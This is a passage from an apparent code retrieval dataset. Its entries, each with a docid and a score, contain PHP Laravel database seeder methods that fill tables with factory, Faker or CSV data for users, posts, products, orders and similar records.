'database/csvs/users.csv';\n $users = HelpersCsvHelper::csvToArray($usersfile);\n for ($i = 0; $i < count($users); $i++) {\n User::firstOrCreate($users[$i]);\n }\n\n // add teams\n $teamsfile = 'database/csvs/teams.csv';\n $teams = HelpersCsvHelper::csvToArray($teamsfile);\n for ($i = 0; $i < count($teams); $i++) {\n Teams::firstOrCreate($teams[$i]);\n }\n\n // add campaigns\n $Campaignsfile = 'database/csvs/campaigns.csv';\n $campaigns = HelpersCsvHelper::csvToArray($Campaignsfile);\n for ($i = 0; $i < count($campaigns); $i++) {\n Campaigns::firstOrCreate($campaigns[$i]);\n }\n\n // add memberships\n $Membershipsfile = 'database/csvs/memberships.csv';\n $memberships = HelpersCsvHelper::csvToArray($Membershipsfile);\n for ($i = 0; $i < count($memberships); $i++) {\n Memberships::firstOrCreate($memberships[$i]);\n }\n }", "title": "" }, { "docid": "9d2abe13b05f99177e4f0e0cdd336b85", "score": "0.78325504", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(Category::class, 10)->create();\n factory(Blog::class, 10)->create();\n }", "title": "" }, { "docid": "a2a4fa12a5d7340c77994a01f5fd0004", "score": "0.7832346", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('cursos')->insert([\n 'cod_curso' => '123456',\n 'nome_curso' => 'Curso de pedagogia',\n 'instituicao_ensino' => 'Faculdade alguma coisa'\n ]);\n DB::table('alunos')->insert([\n 'nome_aluno' => '123456',\n 'curso' => 1,\n 'numero_maricula' => 'Faculdade alguma coisa',\n 'semestre' => 'Faculdade alguma coisa',\n 'status' => 'matriculado'\n ]);\n }", "title": "" }, { "docid": "b250412ac4bb97281cc75b73e99d5169", "score": "0.7827436", "text": "public function run()\n {\n factory(App\\User::class, 10)->create();\n factory(App\\Category::class, 5)->create();\n factory(App\\Question::class, 20)->create();\n factory(App\\Reply::class, 50)->create()->each(function ($reply) {\n $reply->favorite()->save(factory(App\\Favorite::class)->make());\n });\n // $this->call(UsersTableSeeder::class);\n }", "title": "" }, { "docid": "2bfba5dc2d1c3f62eb529c4f407a8fcd", "score": "0.7818739", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = Faker\\Factory::create();\n\n DB::table('articles')->insert([\n 'name' => $faker->title,\n 'description' => $faker->text,\n 'created_at' => new \\DateTime(),\n 'updated_at' => new \\DateTime(),\n ]);\n }", "title": "" }, { "docid": "770b2d73679fa00839175bb0616cbdea", "score": "0.78115416", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(User::class,10)->create();\n factory(Product::class,100)->create();\n factory(Review::class,500)->create();\n }", "title": "" }, { "docid": "41d5d9d0667abadecd972a5a32ed0a4b", "score": "0.7810804", "text": "public function run()\n {\n\n DB::table('authors')->delete();\n\n $gender = Array('Male', 'Female', 'Other');\n $faker = Faker::create();\n foreach (range(1, 100) as $index) {\n $author = new Author();\n $author->name = $faker->name;\n $author->gender = $gender[rand(0,2)];\n $author->dateOfBirth = $faker->dateTimeBetween($startDate = '-90 years', $endDate = '-25 years', $timezone = date_default_timezone_get())->format('Y-m-d');\n $author->shortBio = $faker->sentence(6, true);\n $author->country = $faker->country;\n $author->email = $faker->safeEmail;\n $author->twitter = $faker->userName;\n $author->website = 'http://www.'.$faker->domainName;\n $author->save();\n }\n\n }", "title": "" }, { "docid": "85cccae108d4de7f16063966a5657344", "score": "0.7810694", "text": "public function run()\n {\n\n $faker = \\Faker\\Factory::create();\n\n \\DB::table('news_categories')->delete();\n\n for ($i = 0; $i <= 10; $i++) {\n \\App\\Models\\NewsCategory::create([\n 'name' => $faker->text(40)\n ]);\n }\n\n \\DB::table('news')->delete();\n\n for ($i = 0; $i <= 40; $i++) {\n \\App\\Models\\News::create([\n 'title' => $faker->text(100),\n 'author_id' => 1,\n 'publish_date' => \\Carbon\\Carbon::now()->addDays(rand(1, 10)),\n 'content' => $faker->text(),\n 'source' => $faker->text(50),\n 'status' => rand(0, 1)\n ]);\n }\n }", "title": "" }, { "docid": "4f83d3fdd97b667f526563987d1e2e6b", "score": "0.7802494", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Student::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now let's generate a few students for our app:\n $students = App\\User::where('role', 'Student')->get();\n foreach ($students as $student) {\n \tStudent::create([\n 'address' => $faker->city, \n 'user_id' => $student->id,\n ]);\t\t \n\t\t}\n }", "title": "" }, { "docid": "aa0eccb2055398458b2a6272fcb8936f", "score": "0.78012705", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Order::truncate();\n\n $faker = \\Faker\\Factory::create();\n $customers = \\App\\Models\\Customer::all()->pluck('id')->toArray();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n $alphabet = 'abcdefghijklmnopqrstuvwxyz';\n $numbers = '0123456789';\n $value = '';\n for ($j = 0; $j < 3; $j++) {\n $value .= substr($alphabet, rand(0, strlen($alphabet) - 1), 1);\n }\n Order::create([\n 'customerId' => $faker->randomElement($customers),\n 'totalPrice' => $faker->randomFloat(2, 1, 5000),\n 'isPaid' => $faker->boolean($chanceOfGettingTrue = 50),\n 'extraInfo' => $faker->boolean($chanceOfGettingTrue = 50)\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "title": "" }, { "docid": "86dd297f311dc339eb33e3e6509e604e", "score": "0.77966315", "text": "public function run()\n {\n $this->seeds([\n Poliklinik::class => ['fasilitas/polikliniks.csv', 35],\n Ruangan::class => ['fasilitas/ruangans.csv', 15],\n Kamar::class => ['fasilitas/kamars.csv', 43],\n Ranjang::class => ['fasilitas/ranjang.csv', 187],\n ]);\n }", "title": "" }, { "docid": "368508f66336ac53d1be3d6743e70422", "score": "0.7792271", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n //Desactivamos la revision de las llaves foraneas.\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n //trunco las tablas para poder meter datos nuevos\n articulos::truncate();\n clientes::truncate();\n impuestos::truncate();\n imp_art::truncate();\n empresa::truncate();\n\n $cantidadArticulos = 20;\n $cantidadClientes = 20;\n $cantidadImpuestos = 4;\n $cantidadImp_Arts = 10;\n $cantidadEmpresas = 10;\n\n factory(articulos::class, $cantidadArticulos)->create();\n factory(clientes::class, $cantidadClientes)->create();\n factory(impuestos::class, $cantidadImpuestos)->create();\n factory(imp_art::class, $cantidadImp_Arts)->create();\n factory(empresa::class, $cantidadEmpresas)->create();\n\n }", "title": "" }, { "docid": "0a5fb8cc194091e39e8322105883b61f", "score": "0.77910054", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n DB::table('jobs')->truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n\n $faker = \\Faker\\Factory::create();\n\n $ranks = Rank::all();\n $users = User::all();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 5; $i++) {\n Job::create([\n 'user_id' => $users[rand(0, $users->count() - 1)]->id,\n 'title' => $faker->sentence($nbWords = 2, $variableNbWords = true),\n 'description' => $faker->sentence($nbWords = 10, $variableNbWords = true),\n 'departure' => $faker->lexify('????'),\n 'arrival' => $faker->lexify('????'),\n 'category' => $faker->sentence,\n 'limitations' => $faker->sentence,\n 'required_rank_id' => $ranks[rand(0, $ranks->count() - 1)]->id\n ]);\n }\n }", "title": "" }, { "docid": "d82dd297f054671ec046bcf0b882a63f", "score": "0.7790729", "text": "public function run()\n {\n $this->call([\n AdminSeeder::class,\n // TrackSeeder::class,\n ]);\n\n \\App\\Models\\Track::factory(10)->create();\n \\App\\Models\\Location::factory(10)->create();\n \\App\\Models\\Event::factory(20)->create();\n }", "title": "" }, { "docid": "845dcb98a7e8e0d45a3cf018b23c6ecd", "score": "0.77882665", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(App\\Product::class, 100)->create()->each(function($products){\n $products->save();\n });\n \n factory(App\\Client::class, 100)->create()->each(function($clients){\n $clients->save();\n });\n \n factory(App\\Sale::class, 100)->create()->each(function($sales){\n $sales->save();\n });\n \n }", "title": "" }, { "docid": "de60f0a26beec0ef156f5bbeb41b9ee7", "score": "0.7785993", "text": "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n DB::table('users')->truncate();\n DB::table('password_resets')->truncate();\n DB::table('projects')->truncate();\n DB::table('payments')->truncate();\n DB::table('tags')->truncate();\n DB::table('taggables')->truncate();\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n \n $this->call(UsersTableSeeder::class);\n \n $tags = factory(\\App\\Models\\Tag::class, 10)->create();\n factory(App\\Models\\User::class, 10)->create()->each(function ($user) use ($tags) {\n $projects = factory(\\App\\Models\\Project::class, 5)->create(['user_id' => $user->id]);\n foreach ($projects as $project) {\n $project->tags()->attach($tags->random(1));\n factory(\\App\\Models\\Payment::class, random_int(10, 30))\n ->create(['project_id' => $project->id])->each(function (\\App\\Models\\Payment $payment) use ($tags) {\n $payment->tags()->attach($tags->random(1)); \n });\n }\n });\n }", "title": "" }, { "docid": "ee06eccc68d87dcb640a4d5639c88ab8", "score": "0.77800995", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n\t\t$tags = factory( \\App\\Tag :: class, 10 ) -> create();\n\t\t\n\t\t$articles = factory( \\App\\Article :: class, 20 ) -> create();\n\t\t\n\t\t$tags_id = $tags -> pluck( 'id' );\n\t\t\n\t\t$articles ->each( function( $article ) use( $tags_id ){\n\t\t\t$article -> tags() -> attach( $tags_id -> random( 3 ) );\n\t\t\tfactory( \\App\\Comment :: class, 3 ) -> create( [\n\t\t\t\t'article_id' => $article -> id\n\t\t\t] );\n\t\t\t\n\t\t\tfactory( \\App\\State :: class, 1 ) -> create( [\n\t\t\t\t'article_id' => $article -> id\n\t\t\t] );\n\t\t} );\n\t\t\n }", "title": "" }, { "docid": "c3d306bf3f72eced986330e8fcc2293f", "score": "0.77799016", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(CategoriesTableSeeder::class);\n $this->call(ProductsTableSeeder::class);\n $this->call(PostsTableSeeder::class);\n $this->call(PagesTableSeeder::class);\n\n $id = DB::table('seos')->insertGetId([\n 'link' => url('/'),\n 'priority' => 0,\n 'status' => 'publish',\n ]);\n foreach (['vi','en'] as $lang) {\n DB::table('seo_languages')->insert([\n 'title' => 'Trang chủ',\n 'slug' => 'trang-chu',\n 'language' => $lang,\n 'seo_id' => $id,\n ]);\n }\n }", "title": "" }, { "docid": "4a49e16a546df16655fd9740de7ae5c5", "score": "0.77780515", "text": "public function run()\n {\n $faker = Faker\\Factory::create();\n\n DB::table('users')->insert([\n \t[\n \t\t'username' => 'johan',\n \t\t'email' => '[email protected]',\n \t\t'password' => bcrypt('wachtwoord1'),\n \t],\n \t[\n \t\t'username' => 'vamidi',\n \t\t'email' => '[email protected]',\n \t\t'password' => bcrypt('wachtwoord1'),\n \t]\n ]);\n\n DB::table('profiles')->insert([\n \t[\n \t\t'user_id' => 1,\n \t],\n \t[\n \t\t'user_id' => 2,\n \t]\n ]);\n\n DB::table('teams')->insert(\n \t[\n \t\t'name' => 'VaMiDi Games',\n \t\t'url_name' => 'vamidi-games',\n \t]\n );\n }", "title": "" }, { "docid": "bd7aa608e63a171552e3b4da3b24f5ac", "score": "0.77732813", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Product::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Product::create([\n 'product_name' => \"Product-\".$i,\n 'description' => \"Product-\".$i.\" Good Product\",\n 'price' => 1000,\n 'offer' => 10,\n 'category_id' => 1,\n 'p_status' => 'A',\n ]);\n }\n }", "title": "" }, { "docid": "c0702e537f33df7826aad62896f41818", "score": "0.77731556", "text": "public function run()\n {\n\n \tif(env('DB_DRIVER')=='mysql')\n\t\t\tDB::statement('SET FOREIGN_KEY_CHECKS=0;');\t\n\n\t\t\tDB::table('pages')->truncate();\n\n $faker = Faker::create();\n \t$cours = Db::table('cours')->lists('id') ;\n\n \tforeach (range(1,25) as $key => $value ) {\n\n \t\tPage::create([\n \t\t'title'=>$faker->sentence(3),\n \t\t'body'=>$faker->paragraph(4),\n \t\t'cour_id'=>$faker->randomElement($cours) \n\t ]);\n \t}\n\n \tif(env('DB_DRIVER')=='mysql')\n\t\t\t\tDB::statement('SET FOREIGN_KEY_CHECKS=1;') ;\n }", "title": "" }, { "docid": "8cce7ad451e41e0616427ac1279b46cd", "score": "0.77644897", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n// factory(\\App\\User::class, 50)->create();\n //students seeding\n $schoolsClasses = \\App\\SchoolClass::all();\n foreach ($schoolsClasses as $schoolsClass){\n $schoolsClass->student()->createMany(\n factory(\\App\\Student::class, 20)->make()->toArray()\n );\n }\n }", "title": "" }, { "docid": "120274b83b13efad13e4d0a22631a7e2", "score": "0.7763531", "text": "public function run()\n {\n\n $this->seedersPath = database_path('seeds').'/';\n $this->seed('MessagesTableSeeder');\n\n $this->seed('WishesTableSeeder');\n $this->seed('PresentsTableSeeder');\n\n $this->seed('InstitutionsTableSeeder');\n $this->seed('LocationsTableSeeder');\n $this->seed('OpeningHoursTableSeeder');\n\n $this->seed('FaqsTableSeeder');\n\n //$this->seed('PermissionRoleTableSeeder');\n }", "title": "" }, { "docid": "52b78ebee14aac0ddb50ea401a6a927b", "score": "0.776243", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\Models\\admin::class, 50)->create();\n factory(App\\Models\\category::class, 20)->create();\n factory(App\\Models\\clinic::class, 20)->create();\n factory(App\\Models\\nurse::class, 50)->create();\n factory(App\\Models\\Patient::class, 200)->create();\n factory(App\\Models\\comment::class, 500)->create();\n factory(App\\Models\\material::class, 500)->create();\n factory(App\\Models\\prescription::class, 500)->create();\n factory(App\\Models\\receipt::class, 400)->create();\n factory(App\\Models\\reservation::class, 600)->create();\n factory(App\\Models\\worker::class, 200)->create();\n // factory(App\\Models\\image::class, 500)->create();\n }", "title": "" }, { "docid": "b373718e9c234dc4bb756553db264c76", "score": "0.7762365", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call([\n RolesTableSeeder::class,\n UsersTableSeeder::class,\n PagesTableSeeder::class\n ]);\n\n \n \\Illuminate\\Support\\Facades\\DB::table('tbl_introductions')->insert([ \n 'fullname' => 'Ben Wilson',\n 'dob' => '26 September 1999',\n 'email' => '[email protected]',\n 'intro' => 'Hello, I am Ben.',\n 'image' => '1606288979.jpg', \n 'website' => 'www.company.co',\n 'created_at' => '2020-11-24 06:03:28' \n ]);\n }", "title": "" }, { "docid": "6d6a917428726975dd96f2e4e353f871", "score": "0.77620876", "text": "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Personas::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 50; $i++) {\n Personas::create([\n 'nombre' => $faker->sentence,\n 'nit' => $faker->paragraph,\n ]);\n }\n }", "title": "" }, { "docid": "edb6c4e5c696e79c6cb87775bdf73c85", "score": "0.77605385", "text": "public function run()\n {\n factory(App\\Models\\User::class, 200)->create();\n $this->call(GenresTableSeeder::class);\n $this->call(BandsTableSeeder::class);\n factory(App\\Models\\Post::class, 1000)->create();\n $this->call(TagsTableSeeder::class);\n $this->call(PostTagTableSeeder::class);\n factory(App\\Models\\Comment::class, 5000)->create();\n $this->call(AdminSeeder::class);\n }", "title": "" }, { "docid": "a5eec395c42a1c641cc29056de013a2a", "score": "0.7760248", "text": "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n UserRole::truncate();\n BookList::truncate();\n BookEntry::truncate();\n\n $this->call([\n UserRoleSeeder::class,\n BookListSeeder::class,\n BookEntrySeeder::class,\n ]);\n\n User::insert([\n 'name' => 'super_admin',\n 'email' => '[email protected]',\n 'role_serial' => 1,\n 'password' => Hash::make('12345678'),\n ]);\n User::insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'role_serial' => 2,\n 'password' => Hash::make('12345678'),\n ]);\n User::insert([\n 'name' => 'management',\n 'email' => '[email protected]',\n 'role_serial' => 3,\n 'password' => Hash::make('12345678'),\n ]);\n User::insert([\n 'name' => 'student',\n 'email' => '[email protected]',\n 'role_serial' => 4,\n 'password' => Hash::make('12345678'),\n ]);\n }", "title": "" }, { "docid": "8efc8b6977291a12f6f3aba05752eca3", "score": "0.7758882", "text": "public function run()\n {\n $this->runSeeder();\n }", "title": "" }, { "docid": "3d3644d7189413baa46373e1ac7cdc8f", "score": "0.7754973", "text": "public function run()\n\t{\n\t\tDB::table('posts')->truncate();\n\n $faker = Faker\\Factory::create();\n\n\t\t$posts = [\n [\n 'title' => $faker->sentence(6),\n 'content' => $faker->paragraph(8),\n 'slug' => Str::slug('Hello World'),\n 'user_id' => User::first()->id,\n 'category_id' => Category::whereName('Php')->first()->id,\n 'created_at' => new DateTime,\n 'updated_at' => new DateTime\n ]\n ];\n\n\t\t// Uncomment the below to run the seeder\n\t\tfor ($i=0; $i < 10; $i++) {\n $tag = DB::table('tags')->orderBy('RAND()')->first();\n\n $post_title = $faker->sentence(6);\n\n $post = [\n 'title' => $post_title,\n 'content' => $faker->paragraph(8),\n 'slug' => Str::slug($post_title),\n 'user_id' => $faker->randomElement(User::all()->lists('id')),\n 'category_id' => $faker->randomElement(Category::all()->lists('id')),\n 'created_at' => $faker->dateTime,\n 'updated_at' => new DateTime\n ];\n\n $id = DB::table('posts')->insert($post);\n Post::find($id)->tags()->sync(Tag::all()->lists('id'));\n }\n\n // $this->command->info('Posts table seeded !');\n\t}", "title": "" }, { "docid": "34546962185839c8810e561de7b0508a", "score": "0.77510494", "text": "public function run()\n {\n //$this->call(RestaurantTableSeeder::class);\n factory(App\\User::class,5)->create();\n factory(App\\Model\\Restaurant::class, 10)->create()->each(function ($restaurant) {\n $restaurant->contacts()->save(factory(App\\Model\\Contact::class)->make());\n });\n factory(App\\Model\\Menu::class,30)->create();\n factory(App\\Model\\Item::class,100)->create();\n factory(App\\Model\\Option::class,200)->create();\n factory(App\\Model\\MultiCheckOption::class, 500)->create();\n factory(App\\Model\\Customer::class, 100)->create();\n factory(App\\Model\\Order::class, 300)->create();\n }", "title": "" }, { "docid": "fa279d8f7a87d9a40806207839ca7e30", "score": "0.7750227", "text": "public function run()\n {\n // $this->call(UserSeeder::class);\n $faker = Faker::create();\n foreach ( range(1,10) as $item) {\n DB::table('fire_incidents')->insert([\n 'created_at' => $faker->dateTime,\n 'title'=> $faker->title(),\n 'first_name' => $faker->firstName,\n 'last_name'=> $faker->lastName,\n 'email'=>$faker->email,\n 'phone_number'=>$faker->phoneNumber,\n 'ip_address'=>$faker->ipv4,\n 'message'=>$faker->paragraph\n ]);\n }\n }", "title": "" }, { "docid": "e92b39c751271622081fe6a63248f0d3", "score": "0.7745997", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n \n Seo::create([\n 'url' => '/',\n 'title' => 'title default',\n 'keywords' => 'keywords default',\n 'description' => 'description default',\n ]);\n\n User::create([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'password' => Hash::make('1234567'),\n ]);\n }", "title": "" }, { "docid": "dfa1829f132b8c48a9fa02a696b5951b", "score": "0.7737741", "text": "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(TokenPackageSeeder::class);\n\n factory(Video::class, 30)->create();\n $this->call(PurchaseSeeder::class);\n\n // factory(Comment::class, 50)->create();\n }", "title": "" }, { "docid": "fb7d5bba21289ca1ca2041a5e18bd077", "score": "0.77297103", "text": "public function run()\n {\n// factory(Category::class, 20)->create();\n// factory(Post::class, 50)->create();\n// factory(Tag::class, 10)->create();\n\n $this->call(UserTableSeed::class);\n $this->call(PostTableSeed::class);\n }", "title": "" }, { "docid": "dbb7060bbc311a18cd207473bbe8e7f1", "score": "0.7728515", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(\\App\\User::class,1)->create([\n 'name' => 'teste',\n 'email' => '[email protected]',\n 'password' => bcrypt('12345')\n ]);\n factory(\\App\\Models\\SecaoTecnica::class,1)->create([\n 'sigla' => 'teste',\n 'descricao' => 'teste descrição'\n ]);\n }", "title": "" }, { "docid": "77fb1d45e59d982eac35251a4446cfa5", "score": "0.7728479", "text": "public function run()\n {\n //Cmd: php artisan db:seed --class=\"recommendTableSeeder\"\n \n $faker = Faker\\Factory::create(\"ja_JP\");\n \n for( $i=0; $i<10; $i++ ){\n\n App\\Recommend::create([\n\t\t\t\t\t\"from_user\" => $faker->randomDigit(),\n\t\t\t\t\t\"to_man\" => $faker->randomDigit(),\n\t\t\t\t\t\"to_woman\" => $faker->randomDigit(),\n\t\t\t\t\t\"to_man_message\" => $faker->word(),\n\t\t\t\t\t\"to_woman_message\" => $faker->word(),\n\t\t\t\t\t\"man_qa_1\" => $faker->randomDigit(),\n\t\t\t\t\t\"man_qa_2\" => $faker->randomDigit(),\n\t\t\t\t\t\"man_qa_3\" => $faker->randomDigit(),\n\t\t\t\t\t\"woman_qa_1\" => $faker->randomDigit(),\n\t\t\t\t\t\"woman_qa_2\" => $faker->randomDigit(),\n\t\t\t\t\t\"woman_qa_3\" => $faker->randomDigit(),\n\t\t\t\t\t\"created_at\" => $faker->dateTime(\"now\"),\n\t\t\t\t\t\"updated_at\" => $faker->dateTime(\"now\")\n ]);\n }\n }", "title": "" }, { "docid": "0fdc3c6a7967d773048368acc1829445", "score": "0.7726644", "text": "public function run()\n {\n // TODO Seeder\n // TODO Run Seeder: php artisan migrate:fresh --seed\n // TODO Remove all tables and new create\n // TODO After run Seeder\n factory(User::class, 1)->create(['email' => '[email protected]']);\n factory(User::class, 50)->create();\n factory(Forum::class, 20)->create();\n factory(Post::class, 50)->create();\n factory(Reply::class, 100)->create();\n factory(Category::class, 10)->create();\n }", "title": "" }, { "docid": "1667303ce0032ddd973fad5eb00529bd", "score": "0.7726387", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('user_roles')->insert(['name' => 'System Admin', 'description' => 'Description',]);\n DB::table('user_roles')->insert(['name' => 'Owner', 'description' => 'System Owner',]);\n DB::table('user_roles')->insert(['name' => 'Admin', 'description' => 'Admin',]);\n DB::table('user_roles')->insert(['name' => 'Editor', 'description' => 'Editor',]);\n DB::table('user_roles')->insert(['name' => 'Viewer', 'description' => 'Viewer',]);\n }", "title": "" }, { "docid": "377c3a872d4a300cceb5049caf48d66a", "score": "0.7725185", "text": "public function run()\n {\n $this->call([\n UsersTabeleSeeder::class,\n PostsTabeleSeeder::class,\n CategoriesTabeleSeeder::class,\n ]);\n\n //Get array of ids\n $postIds = DB::table('posts')->pluck('id')->all();\n $categoryIds = DB::table('categories')->pluck('id')->all();\n\n //Seed category_post table with max 40 entries\n foreach ((range(1, 70)) as $index) \n {\n DB::table('category_post')->updateOrInsert(\n [\n 'post_id' => $postIds[array_rand($postIds)],\n 'category_id' => $categoryIds[array_rand($categoryIds)]\n ]\n );\n }\n }", "title": "" }, { "docid": "67bd68cad6c93282acfd6bf31f674b0f", "score": "0.7723515", "text": "public function run()\n {\n $db = DB::table('addresses');\n\n $faker = Faker\\Factory::create();\n $cities_id = City::all()->pluck('city_id')->toArray();\n\n foreach (Post::all()->pluck('id')->toArray() as $post_id){\n $values ['post_id'] = $post_id;\n $values ['street'] = $faker->streetAddress;\n $values ['house'] = $faker->numberBetween(1, 300);\n $values ['city_id'] = array_rand(array_flip($cities_id),1);\n\n $db->insert($values);\n }\n }", "title": "" }, { "docid": "8f23bfa6e5d2337ed218b6aa9e74c8f2", "score": "0.77190584", "text": "public function run()\n {\n $users = factory(App\\User::class,10)->create();\n\n $categories = factory(App\\Category::class,10)->create();\n\n $users->each(function(App\\User $user) use ($users){\n \tfactory(App\\Job::class, 5)->create([\n \t\t'user_id' => $user->id,\n 'category_id' => random_int(1, 10),\n \t]);\n });\n\n $reviews = factory(App\\Review::class,30)->create();\n\n Model::unguard();\n\n $this->call('PermissionsTableSeeder');\n $this->call('RolesTableSeeder');\n $this->call('ConnectRelationshipsSeeder');\n //$this->call('UsersTableSeeder');\n\n Model::reguard();\n }", "title": "" }, { "docid": "e44b2f3d77d7329f6b2d733b04c6ab80", "score": "0.7718937", "text": "public function run()\n {\n // we can seed specific data directory\n /**\n Let's try \"Faker\" to prepopulate with lots of imaginery data very quickly!\n\n */\n\n $faker = Faker\\Factory::create();\n\n foreach(range(1, 25 ) as $index){\n \tDB::table( 'tweets')->insert(array(\n \t\t'user_id' => rand(1,25),\n \t\t'message' => $faker->catchphrase\n \t));\n }\n }", "title": "" }, { "docid": "064da3a1fd5b172768671dc5b6f1169d", "score": "0.7718056", "text": "public function run()\n {\n\n\n\n Storage::deleteDirectory('eventos');\n\n Storage::makeDirectory('eventos');\n\n $this->call(RoleSeeder::class);\n\n $this->call(UserSeeder::class);\n \n Categoria::factory(4)->create();\n \n $this->call(EventoSeeder::class);\n\n $this->call(AporteSeeder::class);\n\n $this->call(ObjetoSeeder::class);\n\n }", "title": "" }, { "docid": "c8d45356aa6a26dbc0f8f55b3b96b143", "score": "0.7714273", "text": "public function run()\n {\n // prevent db error from key constraint when refresh seeder\n DB::statement('SET foreign_key_checks=0');\n DB::table('albums')->truncate();\n DB::statement('SET foreign_key_checks=1');\n\n $albums = [\n ['artist_id' => 1, 'name' => 'One Palitchoke', 'year_release' => 2005],\n ['artist_id' => 2, 'name' => 'Offering Love', 'year_release' => 2007],\n ['artist_id' => 3, 'name' => 'Ice Sarunyu', 'year_release' => 2006],\n ];\n\n foreach ( $albums as $album ) {\n DB::table('albums')->insert($album);\n }\n }", "title": "" }, { "docid": "af51801570c9648f237f5a51624f4182", "score": "0.77119786", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(function($user){\n $user->question()->saveMany(factory(App\\Question::class,rand(1,5))->make())\n ->each(function($question){\n $question->answer()->saveMany(factory(App\\Answer::class,rand(1,5))->make());\n });\n });\n }", "title": "" }, { "docid": "102a7ac2c5bf3d7bd06597a234035ae0", "score": "0.77117646", "text": "public function run()\n {\n \\App\\User::create(['name'=>\"asd\", 'email'=>\"[email protected]\", 'password'=>Hash::make(\"123456\")]);\n \n $directorio = \"database/seeds/json_seeds/\";\n $archivos = scandir($directorio);\n \n for($i = 2; $i < sizeof($archivos); $i++)\n {\n $nombre = explode(\".\", $archivos[$i])[1];\n \n $fullPath = \"App\\Models\\\\\" . $nombre;\n echo \"Seeding \". $i.\") \".$fullPath .\"...\\n\";\n $instance = (new $fullPath());\n \n $table = $instance->table;\n \n $json = File::get(\"database/seeds/json_seeds/\" . $archivos[$i]);\n \n DB::table($table)->delete();\n \n $data = json_decode($json, true);\n \n foreach ($data as $obj)\n {\n $instance::create($obj);\n }\n \n }\n \n \n }", "title": "" }, { "docid": "51006cd093566713d168ba0692107f19", "score": "0.7708964", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('users')->insert([\n 'name' => 'denis',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456789'),\n ]);\n \n DB::table('users')->insert([\n \t'name'=> 'admin',\n \t'email' => '[email protected]',\n \t'password' => bcrypt('cccccccc'),\n \n ]);\n\n DB::table('posts')->insert([\n 'id'=> 1,\n 'title'=>'Генное редактирование изменит мир быстрее, чем мы думаем',\n 'content'=>'https://hightech.fm/wp-content/uploads/2018/11/45807.jpg',\n 'description' => NULL,\n 'slug'=>'gennoe-redaktirovanie-izmenit-mir-bistree-chem-mi-dumaem_1',\n 'author'=> 1,\n ]);\n\n DB::table('posts')->insert([\n 'id'=> 2,\n 'title'=>'billboard',\n 'content'=>'https://i.kinja-img.com/gawker-media/image/upload/lufkpltdkvtxt9kzwn9u.jpg',\n 'description' => NULL,\n 'slug'=>'billboard_2',\n 'author'=> 1,\n ]);\n }", "title": "" }, { "docid": "ec2a852d7d4c7c86fb7a9c04f4e0dd7e", "score": "0.77069575", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(App\\Role::class)->create([\n 'name' => 'admin',\n 'description' => 'usuario con todos los privilegios'\n ]);\n\n factory(App\\Role::class)->create([\n 'name' => 'teacher',\n 'description' => 'profesores'\n ]);\n\n factory(App\\Role::class)->create([\n 'name' => 'student',\n 'description' => 'estudiantes'\n ]);\n\n factory(App\\User::class)->create([\n 'name' => 'Administrador',\n 'email' => '[email protected]',\n 'role_id' => \\App\\Role::ADMIN\n ]);\n\n factory(App\\User::class, 4)->create([\n 'role_id' => \\App\\Role::TEACHER\n ])->each(function ($teacher) {\n $module = $teacher->teach()->save(factory(App\\Module::class)->make());\n $module->students()->saveMany(factory(App\\User::class, 10)->make([\n 'role_id' => \\App\\Role::STUDENT\n ]));\n $module->resources()->save(factory(App\\Resource::class)->make(), ['evaluation' => 1]);\n $module->tasks()->save(factory(App\\Task::class)->make(), ['evaluation' => 1]);\n });\n\n\n }", "title": "" }, { "docid": "8b07e67f8045192de7c1b932e58f1d17", "score": "0.77057153", "text": "public function run()\n {\n /*$faker = Faker\\Factory::create();\n foreach(range(1,10) as $index){\n App\\Post::create([\n 'title'=> $faker->name,\n 'description'=> $faker->name,\n 'content'=> $faker->name\n ]);\n }*/\n\n Post::create([\n 'title'->title,\n 'description'->description,\n 'content'->content\n ]);\n }", "title": "" }, { "docid": "51f53a0357babd8023bfb0bf05d79e4b", "score": "0.7705115", "text": "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n $quests = factory(\\App\\Models\\Quest::class, 